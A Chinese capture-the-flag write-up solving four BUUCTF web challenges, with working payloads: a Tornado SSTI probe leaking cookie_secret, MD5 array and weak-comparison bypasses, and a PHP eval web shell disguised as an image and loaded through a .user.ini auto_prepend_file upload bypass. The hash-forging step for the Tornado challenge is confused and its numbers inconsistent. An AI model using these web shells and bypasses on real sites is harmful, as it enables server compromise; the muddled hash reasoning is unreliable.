BUUCTF--web(2)

1、[HCTF 2018]admin1

打开题目后发现有注册和登录两个页面,因为题目提示admin,尝试用admin进行爆破

爆破得到密码为123

登录得到flag

2、[护网杯 2018]easy_tornado1

打开题目后有三个文件,分别打开查看

在url地址栏中发现包含两个参数,分别为filename和filehash

flag应该位于:filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。

变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。

hints提示render是渲染的意思,又根据题目easy_tornado可推测是ssti服务器模板注入。

什么是SSTI:

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。

SSTI的类型

在PHP、Java和Python这三种常用的编程语言中,都有一些流行的模板引擎。

PHP:

1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。

2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。

3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。

Java:

1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。

2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。

3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。

Python:

1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。

2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

尝试构造payload:

/file?filename=/fllllllllllllag&filehash={{1}}

跳转到一个报错页面

模板注入必须通过传输型如{{xxx}}的执行命令 。探测方式很简单,给一个参数赋值{``{22*22}}返回484则必然存在模板注入。

当我们error?msg={``{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。

参考他人wp得知

Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象

RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

参考链接:https://blog.csdn.net/qq_51927659/article/details/116031923

构造payload:

http://ee1aa3a6-354a-46b1-96f9-f7dbd55b6e75.node5.buuoj.cn/error?msg={{handler.settings}}

得到需要的cookie-secret

由之前的内容可知payload:file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

cookie_secret': '1dbe7822-0242-43e8-850e-74804d85bda0加上/fllllllllllllag的MD5值后再求MD5值

3BF9F6CF685A6DD8DEFADABFB41A03A1和1dbe7822-0242-43e8-850e-74804d85bda0最大值为f考虑十六进制加法

得到结果3bfbd2b6ea7a91fd1d82,在进行MD5加密得到77a1d0572298d9f79da44fd36511802c

最终payload:

/file?filename=/fllllllllllllag&filehash=273e06e42b838d1a3d07fd2fdfeb7d25

3、[MRCTF2020]Ez_bypass1

代码审计:传入两个参数id和gg,当两个参数的值不相等但MD5值相等时完成第一步。第二步是用post的方式传入一个参数passwd弱passwd的值通过弱比较的方式等于1234567则输出flag。MD5强碰撞的绕过方式只有数组绕过尝试输入 id[]=2&gg[]=1,第二步弱比较绕过可以用passwd=1234567aa绕过。

首先get传参传入id和gg

然后post传入passwd,得到flag

4、[SUCTF 2019]CheckIn1

打开题目发现一个上传文件的窗口,考虑上传一句话木马。上传一个简单一句话木马后发现回显<? in contents! ,意思是不能包含<,用另一个一句话木马尝试。

GIF89a?

<script language="php">@eval($_POST['cmd']);</script>

上传成功,但是要是其有效,则应该上传php文件类型,尝试bp抓包后修改。

尝试了php、phtml、phtml1等都显示非法后缀,参考他人wp后发先这里要用.user.ini文件

文件上传绕过有两种常见的绕过方式第一种是.htaccess文件构成的PHP后门,第二种是user.ini文件构成的PHP后门。
.htaccess文件构成的PHP后门:

.htaccess 是Apache HTTP Server的文件目录系统级别的配置文件的默认的名字。它提供了在主配置文件中定义用户自定义指令的支持。其主要作用有URL重写、自定义错误页面、访问权限控制等。也就是说我们可以通过这个文件来达到更改Apache配置的目的。.htaccess的用途范围主要针对当前目录。可以通过上传.htaccess文件来重写apache配置,从而达到上传后门的目的。

user.ini文件构成的PHP后门:

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中除了PHP_INI_SYSTEM以外的模式 INI 设置都可被识别

原理就是会在执行所有的php文件之前包含.user.ini所指定的文件,前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
发现上传成功时,会产生一个index.php的文件,与**.user.ini** 使用条件吻合。因此,只要上传好一个.user.ini文件后,再上传编写好的cmd.jpg一句话木马文件,index.php文件就会将cmd.jpg包含在里面。

.user.php:

GIF89a

auto_prepend_file=cmd.jpg
cmd.jpg
GIF89a?
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

ini上传成功,接下来尝试上传jpg文件

上传成功,现在需要找上传路径,尝试蚁剑连接。

相关推荐
鸭梨山大。25 分钟前
Jenkins 任意文件读取(CVE-2024-23897)修复及复现
安全·中间件·jenkins
黑客老陈1 小时前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss
代码改变世界ctw7 小时前
如何学习Trustzone
安全·trustzone·atf·optee·tee·armv8·armv9
WTT001110 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
群联云防护小杜13 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai13 小时前
HTTP协议及安全防范
网络协议·安全·http
黑客Jack14 小时前
防御 XSS 的七条原则
安全·web安全·xss
云云32114 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵
神一样的老师15 小时前
面向高精度网络的时间同步安全管理架构
网络·安全·架构
云云32116 小时前
云手机方案全解析
大数据·服务器·安全·智能手机·矩阵